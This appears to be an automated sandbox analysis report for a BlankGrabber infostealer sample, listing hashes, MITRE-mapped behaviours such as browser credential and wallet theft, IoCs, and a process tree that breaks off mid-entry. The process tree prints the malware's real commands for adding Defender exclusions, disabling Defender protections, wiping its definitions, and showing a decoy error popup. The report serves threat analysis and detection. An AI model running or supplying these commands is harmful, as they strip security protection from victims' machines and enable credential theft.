blankgrabber | b933a4a512e3d332de8ba80136f33fffdf2e94c84be970ca63da4abe9d1d69fb

Analysis

max time kernel
149s
max time network
115s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/08/2026, 03:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
Size 25.0MB
Sample260802-d5kw2scp21
SHA256 b933a4a512e3d332de8ba80136f33fffdf2e94c84be970ca63da4abe9d1d69fb
MD5 142dfaf644898a44c8c218d9987acb75
SHA1 d8e79eae0d868106f14d866292fe895cd335bf99
SHA512 c2a94b9e8632bedf02a872666aea4843bc09a6565a7ae1012e0f9ad3969088b14374d2c4e1da2fdbf8a38d1fb35d14dd01802e34fe55dc25a8cf3f07aa8c580d
SSDEEP 98304:5xSi8x9XQsCurErvz81LpWjjUa50ZtPvYRt2e4GFNGjfzfbIbApJo4EAKhOC112N:54P9VCurErvI9pWjgfPvzm6gsFE14A6
TLSH
T1D947339263650E74F4AA013D89B5D517EBB2B86603A4C29B03F453532F037DA8E3E75B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery execution blankgrabber persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Family: blankgrabber
Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.
stealer blankgrabber

Detects BlankGrabber stealer in memory 1 IoCs

resource	yara_rule
behavioral1/memory/2152-74-0x000001F776F50000-0x000001F777479000-memory.dmp	blankgrabber_dmp

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3592	powershell.exe
1044	powershell.exe
3276	powershell.exe
2784	powershell.exe
4156	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
1044	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
3816	cmd.exe
4332	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4392	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
15	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 4 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2860	tasklist.exe
4584	tasklist.exe
4164	tasklist.exe
4456	tasklist.exe

UPX packed file 62 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000024256-21.dat	upx
behavioral1/memory/2152-25-0x00007FFA096E0000-0x00007FFA09CD2000-memory.dmp	upx
behavioral1/files/0x0007000000024249-27.dat	upx
behavioral1/files/0x0007000000024250-48.dat	upx
behavioral1/files/0x000700000002424f-47.dat	upx
behavioral1/files/0x000700000002424e-46.dat	upx
behavioral1/files/0x000700000002424d-45.dat	upx
behavioral1/files/0x000700000002424c-44.dat	upx
behavioral1/files/0x000700000002424a-42.dat	upx
behavioral1/files/0x0007000000024248-41.dat	upx
behavioral1/files/0x0007000000024259-38.dat	upx
behavioral1/memory/2152-31-0x00007FFA1C0A0000-0x00007FFA1C0C4000-memory.dmp	upx
behavioral1/files/0x000700000002424b-43.dat	upx
behavioral1/files/0x000700000002425b-40.dat	upx
behavioral1/files/0x000700000002425a-39.dat	upx
behavioral1/files/0x0007000000024255-35.dat	upx
behavioral1/files/0x0007000000024253-34.dat	upx
behavioral1/memory/2152-32-0x00007FFA20750000-0x00007FFA2075F000-memory.dmp	upx
behavioral1/files/0x0007000000024254-30.dat	upx
behavioral1/memory/2152-54-0x00007FFA1B210000-0x00007FFA1B23D000-memory.dmp	upx
behavioral1/memory/2152-56-0x00007FFA206C0000-0x00007FFA206D9000-memory.dmp	upx
behavioral1/memory/2152-60-0x00007FFA16840000-0x00007FFA169BE000-memory.dmp	upx
behavioral1/memory/2152-59-0x00007FFA17AE0000-0x00007FFA17B03000-memory.dmp	upx
behavioral1/memory/2152-65-0x00007FFA20730000-0x00007FFA2073D000-memory.dmp	upx
behavioral1/memory/2152-64-0x00007FFA1B1F0000-0x00007FFA1B209000-memory.dmp	upx
behavioral1/memory/2152-63-0x00007FFA096E0000-0x00007FFA09CD2000-memory.dmp	upx
behavioral1/memory/2152-67-0x00007FFA17410000-0x00007FFA17443000-memory.dmp	upx
behavioral1/memory/2152-70-0x00007FFA171F0000-0x00007FFA172BD000-memory.dmp	upx
behavioral1/memory/2152-69-0x00007FFA1C0A0000-0x00007FFA1C0C4000-memory.dmp	upx
behavioral1/memory/2152-73-0x00007FFA091B0000-0x00007FFA096D9000-memory.dmp	upx
behavioral1/memory/2152-76-0x00007FFA1B040000-0x00007FFA1B054000-memory.dmp	upx
behavioral1/memory/2152-79-0x00007FFA1CF50000-0x00007FFA1CF5D000-memory.dmp	upx
behavioral1/memory/2152-78-0x00007FFA17AE0000-0x00007FFA17B03000-memory.dmp	upx
behavioral1/memory/2152-85-0x00007FFA16720000-0x00007FFA1683C000-memory.dmp	upx
behavioral1/memory/2152-84-0x00007FFA16840000-0x00007FFA169BE000-memory.dmp	upx
behavioral1/memory/2152-86-0x00007FFA1B1F0000-0x00007FFA1B209000-memory.dmp	upx
behavioral1/memory/2152-219-0x00007FFA17410000-0x00007FFA17443000-memory.dmp	upx
behavioral1/memory/2152-251-0x00007FFA171F0000-0x00007FFA172BD000-memory.dmp	upx
behavioral1/memory/2152-294-0x00007FFA091B0000-0x00007FFA096D9000-memory.dmp	upx
behavioral1/memory/2152-306-0x00007FFA1C0A0000-0x00007FFA1C0C4000-memory.dmp	upx
behavioral1/memory/2152-319-0x00007FFA16720000-0x00007FFA1683C000-memory.dmp	upx
behavioral1/memory/2152-311-0x00007FFA16840000-0x00007FFA169BE000-memory.dmp	upx
behavioral1/memory/2152-305-0x00007FFA096E0000-0x00007FFA09CD2000-memory.dmp	upx
behavioral1/memory/2152-352-0x00007FFA096E0000-0x00007FFA09CD2000-memory.dmp	upx
behavioral1/memory/2152-382-0x00007FFA096E0000-0x00007FFA09CD2000-memory.dmp	upx
behavioral1/memory/2152-412-0x00007FFA096E0000-0x00007FFA09CD2000-memory.dmp	upx
behavioral1/memory/2152-442-0x00007FFA096E0000-0x00007FFA09CD2000-memory.dmp	upx
behavioral1/memory/2152-473-0x00007FFA1C0A0000-0x00007FFA1C0C4000-memory.dmp	upx
behavioral1/memory/2152-479-0x00007FFA1B1F0000-0x00007FFA1B209000-memory.dmp	upx
behavioral1/memory/2152-486-0x00007FFA16720000-0x00007FFA1683C000-memory.dmp	upx
behavioral1/memory/2152-485-0x00007FFA1CF50000-0x00007FFA1CF5D000-memory.dmp	upx
behavioral1/memory/2152-484-0x00007FFA1B040000-0x00007FFA1B054000-memory.dmp	upx
behavioral1/memory/2152-483-0x00007FFA091B0000-0x00007FFA096D9000-memory.dmp	upx
behavioral1/memory/2152-482-0x00007FFA171F0000-0x00007FFA172BD000-memory.dmp	upx
behavioral1/memory/2152-481-0x00007FFA17410000-0x00007FFA17443000-memory.dmp	upx
behavioral1/memory/2152-480-0x00007FFA096E0000-0x00007FFA09CD2000-memory.dmp	upx
behavioral1/memory/2152-478-0x00007FFA20730000-0x00007FFA2073D000-memory.dmp	upx
behavioral1/memory/2152-477-0x00007FFA17AE0000-0x00007FFA17B03000-memory.dmp	upx
behavioral1/memory/2152-476-0x00007FFA206C0000-0x00007FFA206D9000-memory.dmp	upx
behavioral1/memory/2152-475-0x00007FFA1B210000-0x00007FFA1B23D000-memory.dmp	upx
behavioral1/memory/2152-474-0x00007FFA16840000-0x00007FFA169BE000-memory.dmp	upx
behavioral1/memory/2152-472-0x00007FFA20750000-0x00007FFA2075F000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 30 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4520	cmd.exe
1868	cmd.exe
2376	cmd.exe
3532	cmd.exe
3104	cmd.exe
360	cmd.exe
3424	cmd.exe
1248	cmd.exe
2788	cmd.exe
2812	cmd.exe
4164	cmd.exe
3432	cmd.exe
2364	cmd.exe
4948	cmd.exe
3464	cmd.exe
1400	cmd.exe
2088	cmd.exe
3724	cmd.exe
3172	cmd.exe
2856	cmd.exe
2024	cmd.exe
3584	cmd.exe
4292	cmd.exe
4540	cmd.exe
1612	cmd.exe
2964	cmd.exe
2148	cmd.exe
4272	cmd.exe
1968	cmd.exe
1588	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1588	cmd.exe
4748	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2220	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4172	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
2784	powershell.exe
2784	powershell.exe
1044	powershell.exe
1044	powershell.exe
4156	powershell.exe
4156	powershell.exe
1044	powershell.exe
4332	powershell.exe
4332	powershell.exe
4432	powershell.exe
4432	powershell.exe
2784	powershell.exe
4156	powershell.exe
4332	powershell.exe
4432	powershell.exe
3276	powershell.exe
3276	powershell.exe
4612	powershell.exe
4612	powershell.exe
3592	powershell.exe
3592	powershell.exe
1908	powershell.exe
1908	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2860	tasklist.exe
Token: SeDebugPrivilege	4584	tasklist.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeIncreaseQuotaPrivilege	4304	WMIC.exe
Token: SeSecurityPrivilege	4304	WMIC.exe
Token: SeTakeOwnershipPrivilege	4304	WMIC.exe
Token: SeLoadDriverPrivilege	4304	WMIC.exe
Token: SeSystemProfilePrivilege	4304	WMIC.exe
Token: SeSystemtimePrivilege	4304	WMIC.exe
Token: SeProfSingleProcessPrivilege	4304	WMIC.exe
Token: SeIncBasePriorityPrivilege	4304	WMIC.exe
Token: SeCreatePagefilePrivilege	4304	WMIC.exe
Token: SeBackupPrivilege	4304	WMIC.exe
Token: SeRestorePrivilege	4304	WMIC.exe
Token: SeShutdownPrivilege	4304	WMIC.exe
Token: SeDebugPrivilege	4304	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4304	WMIC.exe
Token: SeRemoteShutdownPrivilege	4304	WMIC.exe
Token: SeUndockPrivilege	4304	WMIC.exe
Token: SeManageVolumePrivilege	4304	WMIC.exe
Token: 33	4304	WMIC.exe
Token: 34	4304	WMIC.exe
Token: 35	4304	WMIC.exe
Token: 36	4304	WMIC.exe
Token: SeDebugPrivilege	4164	tasklist.exe
Token: SeDebugPrivilege	4332	powershell.exe
Token: SeIncreaseQuotaPrivilege	4304	WMIC.exe
Token: SeSecurityPrivilege	4304	WMIC.exe
Token: SeTakeOwnershipPrivilege	4304	WMIC.exe
Token: SeLoadDriverPrivilege	4304	WMIC.exe
Token: SeSystemProfilePrivilege	4304	WMIC.exe
Token: SeSystemtimePrivilege	4304	WMIC.exe
Token: SeProfSingleProcessPrivilege	4304	WMIC.exe
Token: SeIncBasePriorityPrivilege	4304	WMIC.exe
Token: SeCreatePagefilePrivilege	4304	WMIC.exe
Token: SeBackupPrivilege	4304	WMIC.exe
Token: SeRestorePrivilege	4304	WMIC.exe
Token: SeShutdownPrivilege	4304	WMIC.exe
Token: SeDebugPrivilege	4304	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4304	WMIC.exe
Token: SeRemoteShutdownPrivilege	4304	WMIC.exe
Token: SeUndockPrivilege	4304	WMIC.exe
Token: SeManageVolumePrivilege	4304	WMIC.exe
Token: 33	4304	WMIC.exe
Token: 34	4304	WMIC.exe
Token: 35	4304	WMIC.exe
Token: 36	4304	WMIC.exe
Token: SeDebugPrivilege	4432	powershell.exe
Token: SeDebugPrivilege	4456	tasklist.exe
Token: SeDebugPrivilege	3276	powershell.exe
Token: SeDebugPrivilege	4612	powershell.exe
Token: SeIncreaseQuotaPrivilege	3928	WMIC.exe
Token: SeSecurityPrivilege	3928	WMIC.exe
Token: SeTakeOwnershipPrivilege	3928	WMIC.exe
Token: SeLoadDriverPrivilege	3928	WMIC.exe
Token: SeSystemProfilePrivilege	3928	WMIC.exe
Token: SeSystemtimePrivilege	3928	WMIC.exe
Token: SeProfSingleProcessPrivilege	3928	WMIC.exe
Token: SeIncBasePriorityPrivilege	3928	WMIC.exe
Token: SeCreatePagefilePrivilege	3928	WMIC.exe
Token: SeBackupPrivilege	3928	WMIC.exe
Token: SeRestorePrivilege	3928	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 848 wrote to memory of 2152	848	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	86
PID 2152 wrote to memory of 3424	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	87
PID 2152 wrote to memory of 3432	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	88
PID 2152 wrote to memory of 2364	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	89
PID 2152 wrote to memory of 1248	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	93
PID 2152 wrote to memory of 3584	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	95
PID 2152 wrote to memory of 2964	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	96
PID 2152 wrote to memory of 2788	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	99
PID 2152 wrote to memory of 3816	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	100
PID 3584 wrote to memory of 2860	3584	cmd.exe	102
PID 3424 wrote to memory of 2784	3424	cmd.exe	103
PID 2152 wrote to memory of 3464	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	104
PID 3432 wrote to memory of 1044	3432	cmd.exe	107
PID 2364 wrote to memory of 1196	2364	cmd.exe	108
PID 2152 wrote to memory of 4292	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	109
PID 2964 wrote to memory of 4584	2964	cmd.exe	110
PID 2152 wrote to memory of 1588	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	112
PID 2152 wrote to memory of 3104	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	114
PID 2152 wrote to memory of 2148	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	116
PID 1248 wrote to memory of 4156	1248	cmd.exe	117
PID 2152 wrote to memory of 4108	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	119
PID 2788 wrote to memory of 4304	2788	cmd.exe	122
PID 4292 wrote to memory of 2192	4292	cmd.exe	123
PID 1588 wrote to memory of 4748	1588	cmd.exe	124
PID 3464 wrote to memory of 4164	3464	cmd.exe	125
PID 3816 wrote to memory of 4332	3816	cmd.exe	126
PID 3104 wrote to memory of 4172	3104	cmd.exe	127
PID 2148 wrote to memory of 4444	2148	cmd.exe	128
PID 2152 wrote to memory of 2812	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	129
PID 4108 wrote to memory of 4432	4108	cmd.exe	131
PID 2812 wrote to memory of 728	2812	cmd.exe	132
PID 2152 wrote to memory of 1868	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	133
PID 2152 wrote to memory of 2376	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	135
PID 1868 wrote to memory of 4692	1868	cmd.exe	137
PID 2152 wrote to memory of 1400	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	138
PID 2376 wrote to memory of 2188	2376	cmd.exe	139
PID 2152 wrote to memory of 360	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	141
PID 4432 wrote to memory of 4992	4432	powershell.exe	143
PID 1400 wrote to memory of 1964	1400	cmd.exe	144
PID 2152 wrote to memory of 4272	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	145
PID 360 wrote to memory of 792	360	cmd.exe	147
PID 2152 wrote to memory of 3532	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	149
PID 4272 wrote to memory of 4200	4272	cmd.exe	151
PID 4992 wrote to memory of 5092	4992	csc.exe	152
PID 2152 wrote to memory of 4540	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	153
PID 3532 wrote to memory of 4456	3532	cmd.exe	155
PID 4540 wrote to memory of 2916	4540	cmd.exe	156
PID 2152 wrote to memory of 2088	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	157
PID 2152 wrote to memory of 3724	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	159
PID 2088 wrote to memory of 3276	2088	cmd.exe	161
PID 3724 wrote to memory of 1864	3724	cmd.exe	162
PID 2152 wrote to memory of 1612	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	163
PID 1612 wrote to memory of 4612	1612	cmd.exe	165
PID 2152 wrote to memory of 3172	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	166
PID 3172 wrote to memory of 4392	3172	cmd.exe	169
PID 2152 wrote to memory of 4520	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	170
PID 4520 wrote to memory of 3928	4520	cmd.exe	172
PID 2152 wrote to memory of 2856	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	173
PID 2856 wrote to memory of 2452	2856	cmd.exe	175
PID 2152 wrote to memory of 4164	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	176
PID 4164 wrote to memory of 5064	4164	cmd.exe	178
PID 2152 wrote to memory of 1968	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	179
PID 1968 wrote to memory of 3592	1968	cmd.exe	181
PID 2152 wrote to memory of 2024	2152	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	182

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
792	attrib.exe
2188	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:848
- C:\Users\Admin\AppData\Local\Temp\2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3424
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The application failed to start correctly (0xc000007b). Click OK to close the application', 0, 'Application error', 0+16);close()""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2364
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The application failed to start correctly (0xc000007b). Click OK to close the application', 0, 'Application error', 0+16);close()"
      4⤵
      PID:1196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎  .scr'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎  .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3584
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2964
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4584
- - C:\Windows\system32\cmd.exe
